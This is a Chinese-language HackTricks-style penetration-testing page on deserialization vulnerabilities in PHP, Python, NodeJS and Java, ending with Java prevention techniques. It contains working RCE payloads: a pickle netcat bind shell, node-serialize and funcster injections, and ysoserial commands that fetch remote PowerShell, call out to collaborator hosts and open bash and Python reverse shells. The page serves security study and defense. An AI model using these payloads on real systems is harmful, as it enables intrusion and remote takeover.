# Deserialization {{#include ../../banners/hacktricks-training.md}} ## Basic Information **序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建,保持其结构和状态。 **反序列化** 则是抵消序列化的过程。它涉及将以特定格式结构化的数据重新构建回对象。 反序列化可能是危险的,因为它可能 **允许攻击者操纵序列化数据以执行有害代码** 或在对象重建过程中导致应用程序出现意外行为。 ## PHP 在 PHP 中,特定的魔术方法在序列化和反序列化过程中被使用: - `__sleep`: 在对象被序列化时调用。此方法应返回一个数组,包含所有应被序列化的对象属性的名称。它通常用于提交待处理的数据或执行类似的清理任务。 - `__wakeup`: 在对象被反序列化时调用。它用于重新建立在序列化过程中可能丢失的任何数据库连接,并执行其他重新初始化任务。 - `__unserialize`: 当对象被反序列化时,此方法会被调用(如果存在),而不是 `__wakeup`。与 `__wakeup` 相比,它对反序列化过程提供了更多控制。 - `__destruct`: 当对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务,如关闭文件句柄或数据库连接。 - `__toString`: 此方法允许将对象视为字符串。它可以用于读取文件或其他基于其中函数调用的任务,有效地提供对象的文本表示。 ```php s.'
'; } public function __toString() { echo '__toString method called'; } public function __construct(){ echo "__construct method called"; } public function __destruct(){ echo "__destruct method called"; } public function __wakeup(){ echo "__wakeup method called"; } public function __sleep(){ echo "__sleep method called"; return array("s"); #The "s" makes references to the public attribute } } $o = new test(); $o->displaystring(); $ser=serialize($o); echo $ser; $unser=unserialize($ser); $unser->displaystring(); /* php > $o = new test(); __construct method called __destruct method called php > $o->displaystring(); This is a test
php > $ser=serialize($o); __sleep method called php > echo $ser; O:4:"test":1:{s:1:"s";s:14:"This is a test";} php > $unser=unserialize($ser); __wakeup method called __destruct method called php > $unser->displaystring(); This is a test
*/ ?> ``` 如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时,**`__toString`** 函数被调用,但显然这**不再发生**。 > [!WARNING] > 如果在类中实现了方法 **`__unserialize(array $data)`**,则会**代替 `__wakeup()`** 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。 > > ```php > class MyClass { > private $property; > > public function __unserialize(array $data): void { > $this->property = $data['property']; > // 在反序列化时执行任何必要的任务。 > } > } > ``` 你可以在这里阅读解释过的**PHP示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP 反序列化 + 自动加载类 你可以滥用 PHP 自动加载功能来加载任意 php 文件等: {{#ref}} php-deserialization-+-autoload-classes.md {{#endref}} ### 序列化引用值 如果出于某种原因你想将一个值序列化为**对另一个序列化值的引用**,你可以: ```php param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` ### PHPGGC (ysoserial for PHP) [**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助你生成有效载荷以滥用 PHP 反序列化。\ 请注意,在某些情况下,你 **无法在应用程序的源代码中找到滥用反序列化的方法**,但你可能能够 **滥用外部 PHP 扩展的代码。**\ 因此,如果可以,请检查服务器的 `phpinfo()` 并 **在互联网上搜索**(甚至在 **PHPGGC** 的 **gadgets** 中)一些可能的 gadget 你可以滥用。 ### phar:// metadata deserialization 如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 发生的 **反序列化**。\ 有关更多信息,请阅读以下帖子: {{#ref}} ../file-inclusion/phar-deserialization.md {{#endref}} ## Python ### **Pickle** 当对象被反序列化时,函数 \_\_\_reduce\_\_\_ 将被执行。\ 当被利用时,服务器可能会返回错误。 ```python import pickle, os, base64 class P(object): def __reduce__(self): return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` 在检查绕过技术之前,如果您正在运行 python3,请尝试使用 `print(base64.b64encode(pickle.dumps(P(),2)))` 生成与 python2 兼容的对象。 有关逃离 **pickle jails** 的更多信息,请查看: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} ### Yaml **&** jsonpickle 以下页面介绍了 **滥用不安全的 yaml 反序列化** 的技术,并以一个可以用于生成 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml** 的 RCE 反序列化有效负载的工具结束: {{#ref}} python-yaml-deserialization.md {{#endref}} ### 类污染 (Python 原型污染) {{#ref}} ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md {{#endref}} ## NodeJS ### JS 魔法函数 JS **没有像 PHP 或 Python 那样的 "魔法" 函数**,这些函数仅用于创建对象而被执行。但它有一些 **函数**,即使没有直接调用它们也 **经常使用**,例如 **`toString`**、**`valueOf`**、**`toJSON`**。\ 如果滥用反序列化,您可以 **妥协这些函数以执行其他代码**(可能滥用原型污染),当它们被调用时,您可以执行任意代码。 另一种 **"魔法" 调用函数** 的方式是通过 **妥协一个由异步函数**(promise)**返回的对象**。因为,如果您 **将**该 **返回对象** 转换为另一个 **promise**,并具有一个名为 **"then" 的函数类型属性**,它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息,请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _。_ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: async function test_resolve() { const p = new Promise((resolve) => { console.log("hello") resolve() }) return p } async function test_then() { const p = new Promise((then) => { console.log("hello") return 1 }) return p } test_ressolve() test_then() //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ``` ### `__proto__` 和 `prototype` 污染 如果你想了解这个技术 **请查看以下教程**: {{#ref}} nodejs-proto-prototype-pollution/ {{#endref}} ### [node-serialize](https://www.npmjs.com/package/node-serialize) 这个库允许序列化函数。示例: ```javascript var y = { rce: function () { require("child_process").exec("ls /", function (error, stdout, stderr) { console.log(stdout) }) }, } var serialize = require("node-serialize") var payload_serialized = serialize.serialize(y) console.log("Serialized: \n" + payload_serialized) ``` 序列化对象将如下所示: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` 您可以在示例中看到,当一个函数被序列化时,`_$$ND_FUNC$$_` 标志会附加到序列化对象上。 在文件 `node-serialize/lib/serialize.js` 中,您可以找到相同的标志以及代码是如何使用它的。 ![](<../../images/image (351).png>) ![](<../../images/image (446).png>) 正如您在最后一段代码中看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数内部**。 然而,**仅仅序列化**一个函数**并不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\ 无论如何,您可以**修改序列化对象**,**添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\ 在下一段代码中**注意最后的括号**以及 `unserialize` 函数将如何自动执行代码: ```javascript var serialize = require("node-serialize") var test = { rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()", } serialize.unserialize(test) ``` 如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将其**执行**,因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个 JS 单行代码**,如下例所示: ```javascript var serialize = require("node-serialize") var test = "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" serialize.unserialize(test) ``` 您可以[**在这里找到**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **有关如何利用此漏洞的更多信息**。 ### [funcster](https://www.npmjs.com/package/funcster) **funcster**的一个显著特点是**标准内置对象**的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码的执行,当使用诸如`console.log()`或`require(something)`的命令时,会导致诸如`"ReferenceError: console is not defined"`的异常。 尽管有此限制,但通过特定方法可以恢复对全局上下文的完全访问,包括所有标准内置对象。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问: ```javascript funcster = require("funcster") //Serialization var test = funcster.serialize(function () { return "Hello world!" }) console.log(test) // { __js_function: 'function(){return"Hello world!"}' } //Deserialization with auto-execution var desertest1 = { __js_function: 'function(){return "Hello world!"}()' } funcster.deepDeserialize(desertest1) var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()', } funcster.deepDeserialize(desertest2) var desertest3 = { __js_function: "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()", } funcster.deepDeserialize(desertest3) ``` **有关更多信息,请阅读此来源**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) **serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需要自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据: ```javascript function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") } ``` 如果这个函数用于反序列化对象,你可以**轻松利用它**: ```javascript var serialize = require("serialize-javascript") //Serialization var test = serialize(function () { return "Hello world!" }) console.log(test) //function() { return "Hello world!" } //Deserialization var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` **有关更多信息,请阅读此来源**[ **更多信息请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### Cryo library 在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息: - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) ## Java - HTTP 在Java中,**反序列化回调在反序列化过程中执行**。攻击者可以利用恶意有效负载触发这些回调,从而导致潜在的有害操作执行。 ### Fingerprints #### White Box 要识别代码库中的潜在序列化漏洞,请搜索: - 实现了 `Serializable` 接口的类。 - 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshare` 函数。 特别注意: - `XMLDecoder` 与外部用户定义的参数一起使用。 - `XStream` 的 `fromXML` 方法,特别是当 XStream 版本小于或等于 1.46 时,因为它容易受到序列化问题的影响。 - `ObjectInputStream` 与 `readObject` 方法结合使用。 - 实现 `readObject`、`readObjectNodData`、`readResolve` 或 `readExternal` 等方法。 - `ObjectInputStream.readUnshared`。 - 一般使用 `Serializable`。 #### Black Box 对于黑盒测试,寻找特定的 **签名或“魔法字节”**,以表示来自 `ObjectInputStream` 的 Java 序列化对象: - 十六进制模式: `AC ED 00 05`。 - Base64 模式: `rO0`。 - HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object`。 - 表示先前压缩的十六进制模式: `1F 8B 08 00`。 - 表示先前压缩的 Base64 模式: `H4sIA`。 - 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md)。 ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` ### 检查是否存在漏洞 如果你想要**了解Java反序列化漏洞是如何工作的**,你应该查看[**基本Java反序列化**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNS反序列化**](java-dns-deserialization-and-gadgetprobe.md)和[**CommonsCollection1有效载荷**](java-transformers-to-rutime-exec-payload.md)。 #### 白盒测试 你可以检查是否安装了任何已知漏洞的应用程序。 ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` 您可以尝试**检查所有已知的易受攻击库**,并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查在[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)中指示的库。\ 您还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)来搜索可能被利用的gadget链。\ 运行**gadgetinspector**(构建后)时,不必在意它所经历的大量警告/错误,让它完成。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意,**gadgetinspector不会创建利用,并且可能会指示误报**。 #### 黑盒测试 使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md),您可以识别**可用的库**(甚至版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会**更容易**。\ [**阅读此文以了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\ GadgetProbe专注于**`ObjectInputStream`反序列化**。 使用Burp扩展[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner),您可以**识别可被ysoserial利用的易受攻击库**并**利用**它们。\ [**阅读此文以了解更多关于Java Deserialization Scanner的信息。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。 您还可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`**相关的漏洞,还**包括**来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它将尝试使用延迟或DNS有效载荷来确认它们。\ [**您可以在这里找到有关Freddy的更多信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) **序列化测试** 并非所有内容都与检查服务器是否使用任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**(可能授予您在web应用程序中的管理员权限)。\ 如果您发现一个Java序列化对象被发送到web应用程序,**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。 ### **利用** #### **ysoserial** 利用Java反序列化的主要工具是[**ysoserial**](https://github.com/frohoff/ysoserial)([**在此下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。您还可以考虑使用[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified),这将允许您使用复杂的命令(例如带管道的命令)。\ 请注意,此工具**专注于**利用**`ObjectInputStream`**。\ 我会**先使用“URLDNS”**有效载荷**再使用RCE**有效载荷来测试注入是否可能。无论如何,请注意“URLDNS”有效载荷可能不起作用,但其他RCE有效载荷可能有效。 ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload # PoC RCE in Windows # Ping java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload # Time, I noticed the response too longer when this was used java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload # Create File java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload # DNS request java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net" # HTTP request (+DNS) java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a" java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA" ## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a') ## To encode something in Base64 for Windows PS from linux you can use: echo -n "" | iconv --to-code UTF-16LE | base64 -w0 # Reverse Shell ## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1') java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA" #PoC RCE in Linux # Ping java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload # Time ## Using time in bash I didn't notice any difference in the timing of the response # Create file java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload # DNS request java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" # HTTP request (+DNS) java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" # Reverse shell ## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0 ## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}" # Base64 encode payload in base64 base64 -w0 payload ``` 在为 **java.lang.Runtime.exec()** 创建有效负载时,您 **不能使用特殊字符**,如 ">" 或 "|" 来重定向执行的输出,不能使用 "$()" 来执行命令,甚至不能 **通过空格** 分隔 **传递参数** 给命令(您可以执行 `echo -n "hello world"`,但不能执行 `python2 -c 'print "Hello world"'`)。为了正确编码有效负载,您可以 [使用这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。 请随意使用下一个脚本来创建 **所有可能的代码执行** 有效负载,适用于 Windows 和 Linux,然后在易受攻击的网页上测试它们: ```python import os import base64 # You may need to update the payloads payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1'] def generate(name, cmd): for payload in payloads: final = cmd.replace('REPLACE', payload) print 'Generating ' + payload + ' for ' + name + '...' command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"') result = command.read() command.close() encoded = base64.b64encode(result) if encoded != "": open(name + '_intruder.txt', 'a').write(encoded + '\n') generate('Windows', 'ping -n 1 win.REPLACE.server.local') generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets 您可以**使用** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **与 ysoserial 一起创建更多漏洞利用**。有关此工具的更多信息,请参见**演讲的幻灯片**,该工具在其中介绍:[https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec [**marshalsec** ](https://github.com/mbechler/marshalsec)可用于生成有效载荷,以利用 Java 中不同的**Json**和**Yml**序列化库。\ 为了编译该项目,我需要**添加**这些**依赖项**到 `pom.xml`: ```html javax.activation activation 1.1.1 com.sun.jndi rmiregistry 1.2.1 pom ``` **安装 maven**,并 **编译** 项目: ```bash sudo apt-get install maven mvn clean package -DskipTests ``` #### FastJSON 阅读更多关于这个Java JSON库的信息: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) ### Labs - 如果你想测试一些ysoserial有效载荷,你可以**运行这个web应用**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) ### Why Java在各种目的上使用了大量的序列化,例如: - **HTTP请求**: 序列化广泛应用于参数、ViewState、cookies等的管理。 - **RMI (远程方法调用)**: Java RMI协议完全依赖于序列化,是Java应用程序中远程通信的基石。 - **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用使用,利用序列化进行所有对象通信。 - **JMX (Java管理扩展)**: JMX利用序列化在网络上传输对象。 - **自定义协议**: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的漏洞示例中演示。 ### Prevention #### Transient objects 一个实现了`Serializable`的类可以将类中任何不应该被序列化的对象实现为`transient`。例如: ```java public class myAccount implements Serializable { private transient double profit; // declared transient private transient double margin; // declared transient ``` #### 避免序列化需要实现 Serializable 的类 在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在无意反序列化的风险。为防止这种情况,确保这些对象是不可反序列化的,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` #### **增强 Java 中的反序列化安全性** **自定义 `java.io.ObjectInputStream`** 是保护反序列化过程的实用方法。当满足以下条件时,此方法适用: - 反序列化代码在您的控制之下。 - 预期反序列化的类是已知的。 重写 **`resolveClass()`** 方法以限制反序列化仅限于允许的类。这可以防止反序列化任何类,除了那些明确允许的类,例如以下示例仅限制反序列化为 `Bicycle` 类: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { public LookAheadObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } /** * Only deserialize instances of our expected Bicycle class */ @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(Bicycle.class.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } } ``` **使用 Java Agent 进行安全增强** 提供了一种在无法修改代码时的备用解决方案。此方法主要用于 **黑名单有害类**,使用 JVM 参数: ``` -javaagent:name-of-agent.jar ``` 它提供了一种动态保护反序列化的方法,理想用于立即代码更改不切实际的环境。 查看 [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) 中的示例 **实现序列化过滤器**:Java 9 通过 **`ObjectInputFilter`** 接口引入了序列化过滤器,提供了一种强大的机制,用于指定反序列化之前序列化对象必须满足的标准。这些过滤器可以全局应用或按流应用,提供对反序列化过程的细粒度控制。 要使用序列化过滤器,您可以设置一个适用于所有反序列化操作的全局过滤器,或为特定流动态配置它。例如: ```java ObjectInputFilter filter = info -> { if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) { return Status.REJECTED; // Restrict to allowed classes } return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` **利用外部库增强安全性**:像**NotSoSerial**、**jdeserialize**和**Kryo**这样的库提供了控制和监控Java反序列化的高级功能。这些库可以提供额外的安全层,例如白名单或黑名单类、在反序列化之前分析序列化对象,以及实现自定义序列化策略。 - **NotSoSerial**拦截反序列化过程,以防止执行不受信任的代码。 - **jdeserialize**允许在不反序列化的情况下分析序列化的Java对象,帮助识别潜在的恶意内容。 - **Kryo**是一个替代的序列化框架,强调速度和效率,提供可配置的序列化策略,可以增强安全性。 ### 参考文献 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) - 反序列化和ysoserial讲座:[http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) - 讲座关于gadgetinspector:[https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8)和幻灯片:[https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) - Marshalsec论文:[https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) - Java和.Net JSON反序列化**论文:**[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,**讲座:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c)和幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - 反序列化CVE:[https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JNDI注入与log4Shell 查找什么是**JNDI注入,如何通过RMI、CORBA和LDAP滥用它,以及如何利用log4shell**(以及此漏洞的示例)在以下页面: {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md {{#endref}} ## JMS - Java消息服务 > **Java消息服务**(**JMS**)API是一个Java面向消息的中间件API,用于在两个或多个客户端之间发送消息。它是处理生产者-消费者问题的实现。JMS是Java平台企业版(Java EE)的一部分,由Sun Microsystems开发的规范定义,但此后由Java社区过程指导。它是一种消息标准,允许基于Java EE的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松散耦合、可靠和异步的。(来自[维基百科](https://en.wikipedia.org/wiki/Java_Message_Service))。 ### 产品 有几个产品使用此中间件发送消息: ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>) 